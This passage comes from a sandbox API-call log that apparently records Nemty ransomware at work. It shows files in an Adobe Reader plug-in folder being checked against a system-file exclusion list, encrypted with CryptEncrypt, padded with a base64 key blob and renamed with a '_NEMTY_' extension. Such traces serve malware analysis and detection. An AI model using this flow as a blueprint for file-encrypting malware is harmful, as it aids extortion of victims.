lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUM", lpUsedDefaultChar=0x0) returned 10 [0192.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUM", lpUsedDefaultChar=0x0) returned 10 [0192.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.086] Sleep (dwMilliseconds=0x5) [0192.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26252870, dwHighDateTime=0x1d561e8)) [0192.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26252870, dwHighDateTime=0x1d561e8)) [0192.096] GetLastError () returned 0x0 [0192.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.096] GetLastError () returned 0x0 [0192.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.097] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.097] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="BMwqNw3po9Ww/lAqO6mJWWOg+GNr5Eii0FNnXwwQzhRLqgxOrXU3gveLHTfbnDkT\r\ntXk8zcxbG0Ya9pNES8AaCOTV2dSWHMfsYuvf9wOujY9l2XV2Fiu1zC6BNpyEJASi\r\nA5FDTj7+iWDPg5KgSeVucoKX5K22glE43v1/etKgIcBPT5wApA1ni3tJjS6PHM9O\r\nerM62iWbx76t3+Y3YPaq1ZGvDAmldT2Ft7o2Jh7EKIxtQUOgQ3hUgN2oVy6UOaqt\r\nuBwyF+K5eDsB0mW67V91W5NNQSysW5OOLsq9vIjYwCgIzvX/Q9AEe7toaes5ikMV\r\nDGvBdvvGt+r2ioMJwppVdg==\r\n", pcchString=0x653e29c) returned 1 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.097] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.097] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.097] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.100] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.100] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.100] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.100] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.100] CloseHandle (hObject=0x2f0) returned 1 [0192.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.101] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum._nemty_kgobjgd_")) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.101] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.RUM", cAlternateFileName="QUICKT~1.RUM")) returned 1 [0192.101] lstrcmpiW (lpString1="QuickTime.RUM", lpString2=".") returned 1 [0192.101] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="..") returned 1 [0192.101] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="...") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="windows") returned -1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="$RECYCLE.BIN") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="rsa") returned -1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="NTDETECT.COM") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="ntldr") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="MSDOS.SYS") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="IO.SYS") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="boot.ini") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="boot.ini") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="ntuser.dat") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="desktop.ini") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="CONFIG.SYS") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="RECYCLER") returned -1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="BOOTSECT.BAK") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="bootmgr") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="programdata") returned 1 [0192.102] lstrcmpiW (lpString1="QuickTime.RUM", lpString2="appdata") returned 1 [0192.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUM", lpUsedDefaultChar=0x0) returned 13 [0192.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUM", lpUsedDefaultChar=0x0) returned 13 [0192.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUM", lpUsedDefaultChar=0x0) returned 13 [0192.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUM", lpUsedDefaultChar=0x0) returned 13 [0192.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.103] Sleep (dwMilliseconds=0x5) [0192.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262789d0, dwHighDateTime=0x1d561e8)) [0192.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x262789d0, dwHighDateTime=0x1d561e8)) [0192.112] GetLastError () returned 0x0 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.112] GetLastError () returned 0x0 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.112] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.112] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="PPLR0wUkie3vyciiFIh5l3hBgzwScuJ897X904tHuFkTStK69HoeRQqOt8KOFZTQ\r\nsick4ymLyWhcaEhZrqaalQ7r4sU1PGZch8d8bWHxvYKsFwoRcwwFRQ0pk+sk31MI\r\nBEuNdu2dP7MoYpQuuQUbek4aTJcV+wSv6b9vYvk4v79fmsi7I9lKevu+VCmT3dse\r\nq6q72N+dAXE+gPV0LQ1K+sNDDREtxa2FY945TckQkLpV3dyA5j2o+zxpQyaUgZJR\r\ntrifpIDevXpzMtolfCNQYMDXNs/MiVx0bz4HQY6jFduAxC5P27hsTkJltZdSN+uN\r\nONd0hM+J5/KwlSHmvmbOLA==\r\n", pcchString=0x653e29c) returned 1 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.113] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.113] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.113] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.115] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.115] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.115] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.115] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.115] CloseHandle (hObject=0x2f0) returned 1 [0192.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.116] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum._nemty_kgobjgd_")) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.116] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.RUM", cAlternateFileName="WINDOW~1.RUM")) returned 1 [0192.116] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2=".") returned 1 [0192.116] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="..") returned 1 [0192.116] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="...") returned 1 [0192.116] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="windows") returned 1 [0192.116] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="$RECYCLE.BIN") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="rsa") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="NTDETECT.COM") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="ntldr") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="MSDOS.SYS") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="IO.SYS") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="boot.ini") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="boot.ini") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="ntuser.dat") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="desktop.ini") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="CONFIG.SYS") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="RECYCLER") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="BOOTSECT.BAK") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="bootmgr") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="programdata") returned 1 [0192.117] lstrcmpiW (lpString1="WindowsMedia.RUM", lpString2="appdata") returned 1 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, 